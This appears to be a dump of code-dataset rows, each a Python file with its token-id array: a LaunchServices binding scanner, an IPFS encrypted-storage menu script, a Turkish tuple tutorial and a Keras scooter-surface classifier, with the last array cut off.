class MyScanner(Scanner):
def destination(self, type, name, arglist):
classname = "Function"
listname = "functions"
if arglist:
t, n, m = arglist[0]
# This is non-functional today
if t == OBJECT and m == "InMode":
classname = "Method"
listname = "methods"
return classname, listname
def writeinitialdefs(self):
self.defsfile.write("def FOUR_CHAR_CODE(x): return x\n")
self.defsfile.write("from Carbon.Files import *\n")
self.defsfile.write("kLSRequestAllInfo = -1\n")
self.defsfile.write("kLSRolesAll = -1\n")
self.defsfile.write("kLSUnknownType = FOUR_CHAR_CODE('\\0\\0\\0\\0')\n")
self.defsfile.write("kLSUnknownCreator = FOUR_CHAR_CODE('\\0\\0\\0\\0')\n")
self.defsfile.write("kLSInvalidExtensionIndex = -1\n")
def makeblacklistnames(self):
return [
"LSInit",
"LSTerm",
"kLSRequestAllInfo",
"kLSRolesAll",
"kLSInvalidExtensionIndex",
"kLSUnknownType",
"kLSUnknownCreator"
]
def makeblacklisttypes(self):
return [
"LSLaunchFSRefSpec_ptr",
"LSLaunchURLSpec_ptr",
]
def makerepairinstructions(self):
return [
# LSGetApplicationForInfo
([('CFStringRef', 'inExtension', 'InMode')],
[('OptCFStringRef', 'inExtension', 'InMode')]),
# LSFindApplicationForInfo
([('CFStringRef', 'inBundleID', 'InMode')],
[('OptCFStringRef', 'inBundleID', 'InMode')]),
([('CFStringRef', 'inName', 'InMode')],
[('OptCFStringRef', 'inName', 'InMode')]),
# Unicode filenames passed as length, buffer. LSGetExtensionInfo
([('UniCharCount', '*', 'InMode'),
('UniChar_ptr', '*', 'InMode')],
[('UnicodeReverseInBuffer', '*', 'InMode')]
),
]
if __name__ == "__main__":
main()
| [
1,
529,
276,
1112,
420,
29958,
29926,
1658,
13467,
29914,
11980,
29899,
29906,
29889,
29945,
13,
29937,
2522,
273,
385,
12113,
4839,
934,
29892,
14655,
263,
5132,
934,
310,
15299,
5717,
29889,
13,
13,
5215,
10876,
13,
5215,
2897,
13,
3166,
289,
1885,
2029,
800,
1053,
7495,
5607,
8456,
29990,
9464,
29892,
350,
24647,
9464,
13,
9675,
29889,
2084,
29889,
4397,
29898,
29933,
24647,
9464,
29897,
13,
3166,
885,
424,
8789,
1053,
23412,
13,
13,
29931,
20614,
353,
376,
17641,
13779,
29908,
13,
7068,
8476,
353,
376,
15343,
29908,
13,
14824,
17637,
353,
376,
12256,
17171,
29928,
29908,
13,
13,
1753,
1667,
7295,
13,
1678,
1881,
353,
365,
20614,
718,
11393,
29882,
29908,
13,
1678,
1962,
353,
24972,
8476,
718,
376,
1885,
29889,
2272,
29908,
13,
1678,
822,
29879,
4905,
353,
7495,
5607,
8456,
29990,
9464,
718,
365,
20614,
718,
11393,
2272,
29908,
13,
1678,
885,
7310,
353,
1619,
4421,
7310,
29898,
2080,
29892,
1962,
29892,
822,
29879,
4905,
29897,
13,
1678,
885,
7310,
29889,
16192,
580,
13,
1678,
885,
7310,
29889,
5358,
580,
13,
1678,
885,
7310,
29889,
5362,
1478,
300,
342,
29898,
7068,
8476,
13578,
1017,
10963,
342,
29889,
2272,
1159,
13,
1678,
1596,
376,
25512,
4321,
292,
15848,
1962,
775,
1275,
543,
13,
1678,
2279,
1445,
29898,
1753,
29879,
4905,
29892,
24335,
426,
1800,
13,
1678,
1596,
376,
25512,
25679,
885,
9450,
322,
14655,
29892,
1286,
28348,
278,
5759,
775,
856,
1275,
543,
13,
1678,
2279,
376,
5215,
376,
718,
24972,
8476,
718,
376,
5924,
29908,
13,
1678,
1596,
376,
25512,
25679,
29889,
29871,
739,
29915,
29879,
701,
304,
366,
304,
6633,
372,
1286,
29991,
1275,
543,
13,
13,
1990,
1619,
4421,
7310,
29898,
4421,
7310,
1125,
13,
13,
1678,
822,
12551,
29898,
1311,
29892,
1134,
29892,
1024,
29892,
1852,
1761,
1125,
13,
4706,
770,
978,
353,
376,
6678,
29908,
13,
4706,
1051,
978,
353,
376,
12171,
29908,
13,
4706,
565,
1852,
1761,
29901,
13,
9651,
260,
29892,
302,
29892,
286,
353,
1852,
1761,
29961,
29900,
29962,
13,
9651,
396,
910,
338,
1661,
29899,
2220,
284,
9826,
13,
9651,
565,
260,
1275,
438,
29933,
17637,
322,
286,
1275,
376,
797,
6818,
1115,
13,
18884,
770,
978,
353,
376,
4062,
29908,
13,
18884,
1051,
978,
353,
376,
23515,
29908,
13,
4706,
736,
770,
978,
29892,
1051,
978,
13,
13,
1678,
822,
2436,
11228,
1753,
29879,
29898,
1311,
1125,
13,
4706,
1583,
29889,
1753,
29879,
1445,
29889,
3539,
703,
1753,
18322,
4574,
29918,
11282,
29918,
16524,
29898,
29916,
1125,
736,
921,
29905,
29876,
1159,
13,
4706,
1583,
29889,
1753,
29879,
1445,
29889,
3539,
703,
3166,
1704,
6718,
29889,
10547,
1053,
334,
29905,
29876,
1159,
13,
4706,
1583,
29889,
1753,
29879,
1445,
29889,
3539,
703,
29895,
8547,
3089,
3596,
3401,
353,
448,
29896,
29905,
29876,
1159,
13,
4706,
1583,
29889,
1753,
29879,
1445,
29889,
3539,
703,
29895,
8547,
29934,
6544,
3596,
353,
448,
29896,
29905,
29876,
1159,
13,
4706,
1583,
29889,
1753,
29879,
1445,
29889,
3539,
703,
29895,
8547,
14148,
1542,
353,
18322,
4574,
29918,
11282,
29918,
16524,
877,
1966,
29900,
1966,
29900,
1966,
29900,
1966,
29900,
1495,
29905,
29876,
1159,
13,
4706,
1583,
29889,
1753,
29879,
1445,
29889,
3539,
703,
29895,
8547,
14148,
9832,
1061,
353,
18322,
4574,
29918,
11282,
29918,
16524,
877,
1966,
29900,
1966,
29900,
1966,
29900,
1966,
29900,
1495,
29905,
29876,
1159,
13,
4706,
1583,
29889,
1753,
29879,
1445,
29889,
3539,
703,
29895,
8547,
13919,
17657,
3220,
353,
448,
29896,
29905,
29876,
1159,
13,
13,
1678,
822,
1207,
8517,
1761,
7039,
29898,
1311,
1125,
13,
4706,
736,
518,
13,
18884,
376,
8547,
6644,
613,
13,
18884,
376,
29931,
1254,
837,
613,
13,
18884,
376,
29895,
8547,
3089,
3596,
3401,
613,
13,
18884,
376,
29895,
8547,
29934,
6544,
3596,
613,
13,
18884,
376,
29895,
8547,
13919,
17657,
3220,
613,
13,
18884,
376,
29895,
8547,
14148,
1542,
613,
13,
18884,
376,
29895,
8547,
14148,
9832,
1061,
29908,
13,
18884,
4514,
13,
13,
1678,
822,
1207,
8517,
1761,
8768,
29898,
1311,
1125,
13,
4706,
736,
518,
13,
18884,
376,
8547,
17641,
9998,
5620,
10299,
29918,
7414,
613,
13,
18884,
376,
8547,
17641,
4219,
10299,
29918,
7414,
613,
13,
18884,
4514,
13,
13,
1678,
822,
2136,
406,
18784,
2611,
582,
1953,
29898,
1311,
1125,
13,
4706,
736,
518,
13,
18884,
396,
365,
29903,
2577,
4873,
2831,
3401,
13,
18884,
9310,
877,
9207,
1231,
5620,
742,
525,
262,
17657,
742,
525,
797,
6818,
1495,
1402,
13,
308,
518,
877,
20624,
9207,
1231,
5620,
742,
525,
262,
17657,
742,
525,
797,
6818,
1495,
11724,
13,
13,
18884,
396,
365,
29903,
12542,
4873,
2831,
3401,
13,
18884,
9310,
877,
9207,
1231,
5620,
742,
525,
262,
9534,
1367,
742,
525,
797,
6818,
1495,
1402,
13,
308,
518,
877,
20624,
9207,
1231,
5620,
742,
525,
262,
9534,
1367,
742,
525,
797,
6818,
1495,
11724,
13,
18884,
9310,
877,
9207,
1231,
5620,
742,
525,
262,
1170,
742,
525,
797,
6818,
1495,
1402,
13,
308,
518,
877,
20624,
9207,
1231,
5620,
742,
525,
262,
1170,
742,
525,
797,
6818,
1495,
11724,
13,
13,
18884,
396,
23862,
977,
264,
1280,
4502,
408,
3309,
29892,
6835,
29889,
365,
29903,
2577,
17657,
3401,
13,
18884,
9310,
877,
8110,
5914,
3981,
742,
525,
29930,
742,
525,
797,
6818,
5477,
13,
462,
29871,
6702,
8110,
5914,
29918,
7414,
742,
525,
29930,
742,
525,
797,
6818,
1495,
1402,
13,
462,
518,
877,
2525,
12858,
1123,
3901,
797,
7701,
742,
525,
29930,
742,
525,
797,
6818,
1495,
29962,
13,
18884,
10353,
13,
18884,
4514,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
1667,
580,
13,
2
] |
main.py | anirudha-bs/Distributed_storage_ipfs | 0 | 19051 | <reponame>anirudha-bs/Distributed_storage_ipfs
from files import write_key, load_key, encrypt, decrypt
import os
from ipfs import add,pin,get_file
def switch(option):
return switcher.get(option, default)()
# Encrypts file and adds to ipfs
def encrypt_ipfs_add():
file=input("Enter the file name to be added - ")
# Look for saved key, if not found then create one
try:
key = load_key()
except:
write_key()
key = load_key()
#encrypt file
encrypt(file,key)
#returns file details added to ipfs
res = add(file)
#pinning the file to mark it important
print("Encrpted file was added to ipfs")
try:
f = open("ipfs_files","a")
f.write("{} - {}\n".format(file, str(res)))
except:
print("IO error")
print("File added to IPFS - " + str(res) + "\nThe filename and CID is stored in a file named IPFS_files for future references" )
def ipfs_add():
file=input("Enter the file name to be added - ")
res = add(file)
#pinning the file to mark it important
pin(file)
print("The file was added to ipfs")
print(res)
def decrypt_ipfs():
#hash of the file added to ipfs earlier
hash = input("Enter the hash of the file you want to retrive - ")
res = get_file(hash)
# Look for saved key, if not found then create one
try:
key = load_key()
except:
print("No key found")
exit(0)
decrypt(res,key)
#decrypted file will be saved as res.txt
print("THe file " + hash + " was successfully decrpted")
#function to get a file added to ipfs
def ipfs_get():
hash = input("Enter the hash of the file you want to retrive - ")
get_file(hash)
print("The file has been stored at res.txt ")
def sim_block():
print("Go to Blockchain_simulator directory and start the simulator by running go run .")
path = "blockchain_simulator/blocks.txt"
p_time = os.stat(path).st_mtime
while(1):
if os.stat(path).st_mtime > p_time:
p_time = os.stat(path).st_mtime
res = add(path)
print("New block detected , file updated in ipfs")
print(res)
def default():
return "Please select a valid option"
switcher = {
1: encrypt_ipfs_add,
2: ipfs_add,
3: decrypt_ipfs,
4: ipfs_get,
5: sim_block,
}
if __name__ == "__main__":
while(1):
print("\nDistributed storage\n -------Menu------ \n 1. Encrypt file and add to IPFS \n 2. Add file to ipfs without encryption \n 3. Decrypt a file from IPFS \n 4. Get file from IPFS \n 5. Simulate blockchain and add blocks to IPFS \n 6. Exit \n")
option = int(input())
switch(option)
if option==6:
break
| [
1,
529,
276,
1112,
420,
29958,
273,
381,
566,
2350,
29899,
5824,
29914,
13398,
7541,
29918,
12925,
29918,
666,
5847,
13,
3166,
2066,
1053,
2436,
29918,
1989,
29892,
2254,
29918,
1989,
29892,
27924,
29892,
1602,
4641,
13,
5215,
2897,
13,
3166,
10377,
5847,
1053,
788,
29892,
12687,
29892,
657,
29918,
1445,
13,
13,
1753,
4607,
29898,
3385,
1125,
13,
1678,
736,
4607,
261,
29889,
657,
29898,
3385,
29892,
2322,
29897,
580,
13,
13,
29937,
11346,
4641,
29879,
934,
322,
12778,
304,
10377,
5847,
13,
1753,
27924,
29918,
666,
5847,
29918,
1202,
7295,
13,
1678,
934,
29922,
2080,
703,
10399,
278,
934,
1024,
304,
367,
2715,
448,
16521,
13,
1678,
396,
7419,
363,
7160,
1820,
29892,
565,
451,
1476,
769,
1653,
697,
13,
1678,
1018,
29901,
13,
4706,
1820,
353,
2254,
29918,
1989,
580,
13,
1678,
5174,
29901,
13,
4706,
2436,
29918,
1989,
580,
13,
1678,
1820,
353,
2254,
29918,
1989,
580,
13,
1678,
396,
3977,
4641,
934,
13,
1678,
27924,
29898,
1445,
29892,
1989,
29897,
13,
1678,
396,
18280,
934,
4902,
2715,
304,
10377,
5847,
13,
1678,
620,
353,
788,
29898,
1445,
29897,
13,
1678,
396,
12687,
1076,
278,
934,
304,
2791,
372,
4100,
13,
1678,
1596,
703,
2369,
7283,
415,
287,
934,
471,
2715,
304,
10377,
5847,
1159,
13,
1678,
1018,
29901,
13,
4706,
285,
353,
1722,
703,
666,
5847,
29918,
5325,
3284,
29874,
1159,
13,
4706,
285,
29889,
3539,
703,
8875,
448,
426,
1012,
29876,
1642,
4830,
29898,
1445,
29892,
851,
29898,
690,
4961,
13,
1678,
5174,
29901,
13,
4706,
1596,
703,
5971,
1059,
1159,
13,
1678,
1596,
703,
2283,
2715,
304,
5641,
9998,
448,
376,
718,
851,
29898,
690,
29897,
718,
6634,
29876,
1576,
10422,
322,
315,
1367,
338,
6087,
297,
263,
934,
4257,
5641,
9998,
29918,
5325,
363,
5434,
9282,
29908,
1723,
13,
13,
13,
1753,
10377,
5847,
29918,
1202,
7295,
13,
1678,
934,
29922,
2080,
703,
10399,
278,
934,
1024,
304,
367,
2715,
448,
16521,
13,
1678,
620,
353,
788,
29898,
1445,
29897,
13,
1678,
396,
12687,
1076,
278,
934,
304,
2791,
372,
4100,
13,
1678,
12534,
29898,
1445,
29897,
13,
1678,
1596,
703,
1576,
934,
471,
2715,
304,
10377,
5847,
1159,
13,
1678,
1596,
29898,
690,
29897,
13,
13,
1753,
1602,
4641,
29918,
666,
5847,
7295,
13,
1678,
396,
8568,
310,
278,
934,
2715,
304,
10377,
5847,
8859,
13,
1678,
6608,
353,
1881,
703,
10399,
278,
6608,
310,
278,
934,
366,
864,
304,
3240,
4401,
448,
16521,
13,
1678,
620,
353,
679,
29918,
1445,
29898,
8568,
29897,
13,
1678,
396,
7419,
363,
7160,
1820,
29892,
565,
451,
1476,
769,
1653,
697,
13,
1678,
1018,
29901,
13,
4706,
1820,
353,
2254,
29918,
1989,
580,
13,
1678,
5174,
29901,
13,
4706,
1596,
703,
3782,
1820,
1476,
1159,
13,
4706,
6876,
29898,
29900,
29897,
13,
1678,
1602,
4641,
29898,
690,
29892,
1989,
29897,
13,
1678,
396,
7099,
14740,
934,
674,
367,
7160,
408,
620,
29889,
3945,
13,
1678,
1596,
703,
29911,
3868,
934,
376,
718,
6608,
718,
376,
471,
8472,
1602,
29878,
415,
287,
1159,
13,
13,
29937,
2220,
304,
679,
263,
934,
2715,
304,
10377,
5847,
13,
1753,
10377,
5847,
29918,
657,
7295,
13,
1678,
6608,
353,
1881,
703,
10399,
278,
6608,
310,
278,
934,
366,
864,
304,
3240,
4401,
448,
16521,
13,
1678,
679,
29918,
1445,
29898,
8568,
29897,
13,
1678,
1596,
703,
1576,
934,
756,
1063,
6087,
472,
620,
29889,
3945,
16521,
13,
13,
1753,
1027,
29918,
1271,
7295,
13,
1678,
1596,
703,
8120,
304,
15658,
14153,
29918,
3601,
9183,
3884,
322,
1369,
278,
1027,
9183,
491,
2734,
748,
1065,
869,
1159,
13,
1678,
2224,
353,
376,
1271,
14153,
29918,
3601,
9183,
29914,
1271,
29879,
29889,
3945,
29908,
13,
1678,
282,
29918,
2230,
353,
2897,
29889,
6112,
29898,
2084,
467,
303,
29918,
29885,
2230,
13,
1678,
1550,
29898,
29896,
1125,
13,
4706,
565,
2897,
29889,
6112,
29898,
2084,
467,
303,
29918,
29885,
2230,
1405,
282,
29918,
2230,
29901,
13,
9651,
282,
29918,
2230,
353,
2897,
29889,
6112,
29898,
2084,
467,
303,
29918,
29885,
2230,
13,
9651,
620,
353,
788,
29898,
2084,
29897,
13,
9651,
1596,
703,
4373,
2908,
17809,
1919,
934,
4784,
297,
10377,
5847,
1159,
13,
9651,
1596,
29898,
690,
29897,
13,
13,
1753,
2322,
7295,
13,
1678,
736,
376,
12148,
1831,
263,
2854,
2984,
29908,
13,
13,
15123,
261,
353,
426,
13,
308,
29896,
29901,
27924,
29918,
666,
5847,
29918,
1202,
29892,
13,
308,
29906,
29901,
10377,
5847,
29918,
1202,
29892,
13,
308,
29941,
29901,
1602,
4641,
29918,
666,
5847,
29892,
13,
308,
29946,
29901,
10377,
5847,
29918,
657,
29892,
13,
308,
29945,
29901,
1027,
29918,
1271,
29892,
13,
4706,
500,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
13,
1678,
1550,
29898,
29896,
1125,
13,
4706,
1596,
14182,
29876,
13398,
7541,
8635,
29905,
29876,
448,
22158,
6823,
22158,
320,
29876,
29871,
29896,
29889,
11346,
4641,
934,
322,
788,
304,
5641,
9998,
320,
29876,
29871,
29906,
29889,
3462,
934,
304,
10377,
5847,
1728,
20956,
320,
29876,
29871,
29941,
29889,
3826,
4641,
263,
934,
515,
5641,
9998,
320,
29876,
29871,
29946,
29889,
3617,
934,
515,
5641,
9998,
320,
29876,
29871,
29945,
29889,
3439,
5987,
2908,
14153,
322,
788,
10930,
304,
5641,
9998,
320,
29876,
29871,
29953,
29889,
25954,
320,
29876,
1159,
13,
4706,
2984,
353,
938,
29898,
2080,
3101,
13,
4706,
4607,
29898,
3385,
29897,
13,
4706,
565,
2984,
1360,
29953,
29901,
13,
9651,
2867,
13,
308,
13,
2
] |
E020/main.py | alperkonuralp/AlperIlePython | 1 | 40012 |
def topla(a, b):
toplam = a + b
if a < b:
kucuk = a
else:
kucuk = b
return (toplam, kucuk)
toplam, kucuk = topla(1, 2)
print(toplam, kucuk)
tuple1 = (1, 2, 3)
tuple2 = 1, 2, 3
tuple3 = tuple([1, 2, 3, 4, 5])
ilkSayi = tuple2[0]
ikinciSayi = tuple2[1]
ucuncuSayi = tuple2[2]
ilkSayi, ikinciSayi, ucuncuSayi = tuple2
a = [1, 2, 3, 4, 5]
print(a)
print(a[1])
a.append(6)
print(a)
del a[2]
print(a)
b = (1, 2, 3)
print(b)
print(b[0])
# b.append(6) # Demetler (Tuple) değiştirilemezdir.
a[0] = 123
# b[0] = 123
| [
1,
6756,
13,
30004,
13,
1753,
2246,
433,
29898,
29874,
29892,
289,
1125,
30004,
13,
1678,
304,
572,
314,
353,
263,
718,
289,
30004,
13,
1678,
565,
263,
529,
289,
29901,
30004,
13,
4706,
413,
1682,
2679,
353,
263,
30004,
13,
1678,
1683,
29901,
30004,
13,
4706,
413,
1682,
2679,
353,
289,
30004,
13,
1678,
736,
313,
3332,
5288,
29892,
413,
1682,
2679,
8443,
13,
30004,
13,
30004,
13,
3332,
5288,
29892,
413,
1682,
2679,
353,
2246,
433,
29898,
29896,
29892,
29871,
29906,
8443,
13,
30004,
13,
2158,
29898,
3332,
5288,
29892,
413,
1682,
2679,
8443,
13,
30004,
13,
30004,
13,
23583,
29896,
353,
313,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
8443,
13,
23583,
29906,
353,
29871,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
30004,
13,
23583,
29941,
353,
18761,
4197,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29892,
29871,
29945,
2314,
30004,
13,
30004,
13,
30004,
13,
309,
29895,
29903,
388,
29875,
353,
18761,
29906,
29961,
29900,
29962,
30004,
13,
638,
2173,
29903,
388,
29875,
353,
18761,
29906,
29961,
29896,
29962,
30004,
13,
1682,
4661,
29884,
29903,
388,
29875,
353,
18761,
29906,
29961,
29906,
29962,
30004,
13,
30004,
13,
309,
29895,
29903,
388,
29875,
29892,
12380,
2173,
29903,
388,
29875,
29892,
318,
29883,
4661,
29884,
29903,
388,
29875,
353,
18761,
29906,
30004,
13,
30004,
13,
30004,
13,
30004,
13,
30004,
13,
29874,
353,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29892,
29871,
29945,
29962,
30004,
13,
30004,
13,
2158,
29898,
29874,
8443,
13,
30004,
13,
2158,
29898,
29874,
29961,
29896,
2314,
30004,
13,
30004,
13,
29874,
29889,
4397,
29898,
29953,
8443,
13,
30004,
13,
2158,
29898,
29874,
8443,
13,
30004,
13,
6144,
263,
29961,
29906,
29962,
30004,
13,
30004,
13,
2158,
29898,
29874,
8443,
13,
30004,
13,
29890,
353,
313,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
8443,
13,
30004,
13,
2158,
29898,
29890,
8443,
13,
30004,
13,
2158,
29898,
29890,
29961,
29900,
2314,
30004,
13,
30004,
13,
29937,
289,
29889,
4397,
29898,
29953,
29897,
396,
4432,
300,
1358,
313,
23215,
552,
29897,
316,
30200,
29875,
30169,
2034,
13816,
21660,
3972,
22993,
13,
29874,
29961,
29900,
29962,
353,
29871,
29896,
29906,
29941,
30004,
13,
29937,
289,
29961,
29900,
29962,
353,
29871,
29896,
29906,
29941,
30004,
13,
30004,
13,
30004,
13,
30004,
13,
30004,
13,
30004,
13,
30004,
13,
2
] |
training.py | oakwood44267/scooter | 4 | 35763 | <reponame>oakwood44267/scooter
#!/usr/bin/python3
import pandas as pd
import numpy as np
from glob import glob
from sklearn.model_selection import train_test_split
from sklearn.utils import shuffle
from sklearn.metrics import classification_report, confusion_matrix
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import *
from tensorflow.keras.callbacks import EarlyStopping
from tensorflow.keras.utils import to_categorical
# Create Techie Pizza's machine learning model.
# Achieves over 99% accuracy on verification data.
def techie_pizza_model(trainX, trainy):
n_timesteps, n_features, n_outputs = trainX.shape[1], trainX.shape[2], trainy.shape[1]
model = Sequential()
# Input to model
model.add(Input(shape=(n_timesteps, n_features)))
############################################################################
# Convolutional layer 1
model.add(Conv1D(filters=16, kernel_size=12, activation='relu'))
model.add(MaxPooling1D(12))
model.add(Dropout(0.15))
# Convolutional layer 2
model.add(Conv1D(filters=16, kernel_size=4, activation='relu'))
model.add(MaxPooling1D(3))
model.add(Dropout(0.25))
# Convolutional layer 3
model.add(Conv1D(filters=24, kernel_size=4, activation='relu'))
model.add(MaxPooling1D(3))
model.add(Dropout(0.25))
# Dense layer
model.add(Flatten())
model.add(Dense(60, activation='relu'))
model.add(Dropout(0.25))
############################################################################
# Final layer that predicts which category
model.add(Dense(n_outputs, activation='softmax'))
# Build the model. It is evaluated based on how strongly it predicts the
# correct category.
model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])
model.summary()
return model
# fit and evaluate a model
# from https://machinelearningmastery.com/how-to-develop-rnn-models-for-human-activity-recognition-time-series-classification/
def evaluate_model(trainX, trainy, testX, testy):
model = our_model(trainX, trainy)
# Train network
model.fit(trainX, trainy, epochs=epochs, batch_size=batch_size, verbose=verbose,
validation_data=(testX, testy),
callbacks=[EarlyStopping(monitor='loss', patience=patience, restore_best_weights=True)])
# Use trained network to predict hold-back data
predY = model.predict(testX)
global predy, comparey
predy = np.append(predy, np.argmax(predY, axis=1))
comparey = np.append(comparey, np.argmax(testy, axis=1))
# Also use Kera's evaluation function
loss, accuracy = model.evaluate(testX, testy, batch_size=batch_size, verbose=0)
return (loss, accuracy)
# run an experiment
# from https://machinelearningmastery.com/how-to-develop-rnn-models-for-human-activity-recognition-time-series-classification/
def run_experiment(X, y):
scores = []
losses = []
seed = 42
# Repeat experiment
for r in range(repeats):
# Hold back 20% of the data to measure accuracy
trainX, testX, trainy, testy = train_test_split(X, y, test_size=0.20, random_state=seed)
loss, score = evaluate_model(trainX, trainy, testX, testy)
score = score * 100.0
print('>#%d: %.3f' % (r+1, score))
scores.append(score)
losses.append(loss)
seed += 1
# Summarize results across experiments
print(scores)
print(losses)
m, s = np.mean(scores), np.std(scores)
print('Accuracy: %.3f%% (+/-%.3f)' % (m, s))
# from Jupyter notebook written by team
def load_file(filename):
df = pd.read_csv(filename, names = [ 'time', 'rotx', 'roty', 'rotz', 'accelx', 'accely', 'accelz'])
# Drop fields we do not care about
df.drop(columns='time', inplace = True)
return df
# from Jupyter notebook written by team
def load_label(path):
loaded = []
for name in glob(path):
data = load_file(name)
loaded.append(data.values)
return loaded
# Written by <NAME> to format data appropriately for Keras
def load_labels(paths):
loaded = []
targets = []
label = 0
for path in paths:
chunk = load_label(path)
loaded.extend(chunk)
targets.extend(len(chunk) * [ label ])
label = label + 1
loaded = np.asarray(loaded)
targets = to_categorical(targets)
return (loaded, targets)
our_model = techie_pizza_model
predy = np.empty(0)
comparey = np.empty(0)
epochs = 500
patience = 60
verbose = 1
batch_size = 32
repeats = 14
# Load labelled data
categories = [ 'Sidewalk', 'Street', 'Standing' ]
X, y = load_labels(['sidewalk/good/*', 'street/good/*', 'standing/good/*'])
# Shuffle the data
X, y = shuffle(X, y, random_state=640)
run_experiment(X, y)
print('Classification Report')
print(classification_report(comparey, predy, np.arange(len(categories)), categories, digits=3))
cm = confusion_matrix(comparey, predy)
print(cm)
| [
1,
529,
276,
1112,
420,
29958,
29877,
557,
6115,
29946,
29946,
29906,
29953,
29955,
29914,
29879,
1111,
17084,
13,
29937,
14708,
4855,
29914,
2109,
29914,
4691,
29941,
13,
13,
5215,
11701,
408,
10518,
13,
5215,
12655,
408,
7442,
13,
3166,
13149,
1053,
13149,
13,
13,
3166,
2071,
19668,
29889,
4299,
29918,
21731,
1053,
7945,
29918,
1688,
29918,
5451,
13,
3166,
2071,
19668,
29889,
13239,
1053,
528,
21897,
13,
3166,
2071,
19668,
29889,
2527,
10817,
1053,
12965,
29918,
12276,
29892,
14679,
29918,
5344,
13,
13,
3166,
26110,
29889,
3946,
294,
29889,
9794,
1053,
922,
339,
2556,
13,
3166,
26110,
29889,
3946,
294,
29889,
29277,
1053,
334,
13,
3166,
26110,
29889,
3946,
294,
29889,
14035,
29879,
1053,
11095,
20754,
3262,
13,
3166,
26110,
29889,
3946,
294,
29889,
13239,
1053,
304,
29918,
29883,
20440,
936,
13,
13,
29937,
6204,
1920,
305,
347,
349,
24990,
29915,
29879,
4933,
6509,
1904,
29889,
13,
29937,
15542,
17180,
975,
29871,
29929,
29929,
29995,
13600,
373,
1147,
2450,
848,
29889,
13,
1753,
734,
305,
347,
29918,
29886,
24990,
29918,
4299,
29898,
14968,
29990,
29892,
1020,
4901,
1125,
13,
1678,
302,
29918,
9346,
4196,
567,
29892,
302,
29918,
22100,
29892,
302,
29918,
4905,
29879,
353,
7945,
29990,
29889,
12181,
29961,
29896,
1402,
7945,
29990,
29889,
12181,
29961,
29906,
1402,
1020,
4901,
29889,
12181,
29961,
29896,
29962,
13,
13,
1678,
1904,
353,
922,
339,
2556,
580,
13,
13,
1678,
396,
10567,
304,
1904,
13,
1678,
1904,
29889,
1202,
29898,
4290,
29898,
12181,
7607,
29876,
29918,
9346,
4196,
567,
29892,
302,
29918,
22100,
4961,
13,
13,
1678,
835,
13383,
13383,
13383,
13383,
7346,
29937,
13,
1678,
396,
1281,
4068,
284,
7546,
29871,
29896,
13,
1678,
1904,
29889,
1202,
29898,
1168,
29894,
29896,
29928,
29898,
26705,
29922,
29896,
29953,
29892,
8466,
29918,
2311,
29922,
29896,
29906,
29892,
26229,
2433,
2674,
29884,
8785,
13,
1678,
1904,
29889,
1202,
29898,
7976,
11426,
292,
29896,
29928,
29898,
29896,
29906,
876,
13,
1678,
1904,
29889,
1202,
29898,
15063,
449,
29898,
29900,
29889,
29896,
29945,
876,
13,
13,
1678,
396,
1281,
4068,
284,
7546,
29871,
29906,
13,
1678,
1904,
29889,
1202,
29898,
1168,
29894,
29896,
29928,
29898,
26705,
29922,
29896,
29953,
29892,
8466,
29918,
2311,
29922,
29946,
29892,
26229,
2433,
2674,
29884,
8785,
13,
1678,
1904,
29889,
1202,
29898,
7976,
11426,
292,
29896,
29928,
29898,
29941,
876,
13,
1678,
1904,
29889,
1202,
29898,
15063,
449,
29898,
29900,
29889,
29906,
29945,
876,
13,
13,
1678,
396,
1281,
4068,
284,
7546,
29871,
29941,
13,
1678,
1904,
29889,
1202,
29898,
1168,
29894,
29896,
29928,
29898,
26705,
29922,
29906,
29946,
29892,
8466,
29918,
2311,
29922,
29946,
29892,
26229,
2433,
2674,
29884,
8785,
13,
1678,
1904,
29889,
1202,
29898,
7976,
11426,
292,
29896,
29928,
29898,
29941,
876,
13,
1678,
1904,
29889,
1202,
29898,
15063,
449,
29898,
29900,
29889,
29906,
29945,
876,
13,
13,
1678,
396,
360,
1947,
7546,
13,
1678,
1904,
29889,
1202,
29898,
29943,
5066,
841,
3101,
13,
1678,
1904,
29889,
1202,
29898,
29928,
1947,
29898,
29953,
29900,
29892,
26229,
2433,
2674,
29884,
8785,
13,
1678,
1904,
29889,
1202,
29898,
15063,
449,
29898,
29900,
29889,
29906,
29945,
876,
13,
1678,
835,
13383,
13383,
13383,
13383,
7346,
29937,
13,
13,
1678,
396,
9550,
7546,
393,
8500,
29879,
607,
7663,
13,
1678,
1904,
29889,
1202,
29898,
29928,
1947,
29898,
29876,
29918,
4905,
29879,
29892,
26229,
2433,
2695,
3317,
8785,
13,
13,
1678,
396,
8878,
278,
1904,
29889,
29871,
739,
338,
19030,
2729,
373,
920,
13818,
372,
8500,
29879,
278,
13,
1678,
396,
1959,
7663,
29889,
13,
1678,
1904,
29889,
12198,
29898,
6758,
2433,
29883,
20440,
936,
29918,
19128,
296,
14441,
742,
5994,
3950,
2433,
328,
314,
742,
21556,
29922,
1839,
562,
2764,
4135,
11287,
13,
1678,
1904,
29889,
7727,
580,
13,
13,
1678,
736,
1904,
13,
13,
29937,
6216,
322,
14707,
263,
1904,
13,
29937,
515,
2045,
597,
23523,
21891,
6207,
29891,
29889,
510,
29914,
3525,
29899,
517,
29899,
4888,
29899,
29878,
15755,
29899,
9794,
29899,
1454,
29899,
26029,
29899,
10072,
29899,
29423,
654,
29899,
2230,
29899,
13757,
29899,
1990,
2450,
29914,
13,
1753,
14707,
29918,
4299,
29898,
14968,
29990,
29892,
1020,
4901,
29892,
1243,
29990,
29892,
1243,
29891,
1125,
13,
1678,
1904,
353,
1749,
29918,
4299,
29898,
14968,
29990,
29892,
1020,
4901,
29897,
13,
13,
1678,
396,
28186,
3564,
13,
1678,
1904,
29889,
9202,
29898,
14968,
29990,
29892,
1020,
4901,
29892,
21502,
12168,
29922,
1022,
2878,
29879,
29892,
9853,
29918,
2311,
29922,
16175,
29918,
2311,
29892,
26952,
29922,
369,
15828,
29892,
13,
9651,
8845,
29918,
1272,
